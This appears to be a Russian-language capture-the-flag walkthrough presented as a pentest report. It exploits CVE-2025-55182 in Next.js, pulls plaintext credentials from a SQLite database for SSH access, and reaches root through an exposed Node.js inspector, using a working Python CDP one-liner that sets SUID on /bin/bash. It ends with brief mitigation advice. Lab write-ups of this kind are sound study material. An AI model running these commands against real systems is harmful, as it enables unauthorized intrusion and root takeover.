
Технический отчёт о пентесте, демонстрирующий эксплуатацию CVE-2025-55182 в Next.js, сбор учётных данных из SQLite и повышение привилегий через инспектор Node.js для получения root-доступа.
В данном техническом отчёте подробно описан путь эксплуатации для компрометации цели, на которой размещено уязвимое веб-приложение Next.js: получение первоначального доступа с помощью похищенных учётных данных и использование неправильно сконфигурированного локального инспектора V8 в Node.js для повышения привилегий до root.
Цель размещает веб-приложение Next.js, работающее на стандартных портах HTTP/HTTPS (80/443). Стандартный перебор каталогов и ручной анализ показывают, что приложение работает на версии, уязвимой к CVE-2025-55182.
Чтобы использовать уязвимость, перехватите трафик приложения с помощью Burp Suite (или Burp Repeater) и внедрите специально созданную эксплойт-нагрузку, нацеленную на CVE-2025-55182.
После получения возможности выполнения кода и чтения локальных файлов через эксплойт проверьте каталог исходного кода приложения. Локальный файл базы данных SQLite (database.db) расположен рядом с основным исходным кодом приложения.
Выполните запрос или выгрузите содержимое файла базы данных, чтобы извлечь сохранённые записи пользователей.
sqlite3 database.db "SELECT * FROM users;"
Найдите пароль в открытом виде, связанный с локальным SSH-пользователем engineer.
Используйте восстановленные учётные данные для установления SSH-сессии с целевой машиной:
ssh engineer@<TARGET-IP>
После аутентификации прочитайте флаг пользователя, расположенный в домашнем каталоге:
cat /home/engineer/user.txt
Проверьте службы, привязанные исключительно к интерфейсу локальной петли (127.0.0.1), чтобы выявить внутренние векторы атаки:
netstat -tulnp
Результат: внутренняя служба Node.js активно прослушивает локальный порт 9229.
Порты отладки V8 в Node.js требуют уникальный UUID сессии для взаимодействия через WebSocket. Выполните запрос к локальной конечной точке обнаружения с помощью curl с добавлением /json:
curl -s http://127.0.0.1:9229/json
Вывод:
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
Поскольку целевой процесс Node.js работает с привилегиями root, вы можете отправить сообщение Runtime.evaluate по протоколу Chrome DevTools Protocol (CDP) через Python поверх WebSockets, чтобы установить SUID-бит на /bin/bash:
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
Убедитесь, что /bin/bash теперь имеет включённые SUID-разрешения (-rwsr-sr-x), затем запустите Bash с сохранением привилегий:
ls -l /bin/bash
bash -p
Перейдите в домашний каталог пользователя root, чтобы захватить финальный флаг:
cd /root
cat root.txt
Защита сред от этих векторов требует установки исправлений для веб-приложений, уязвимых к известным CVE, надлежащего ограничения разрешений на файлы баз данных, а также обеспечения того, чтобы порты отладки (например, инспектор Node.js на порту 9229) никогда не были открыты или доступны без аутентификации в производственных средах.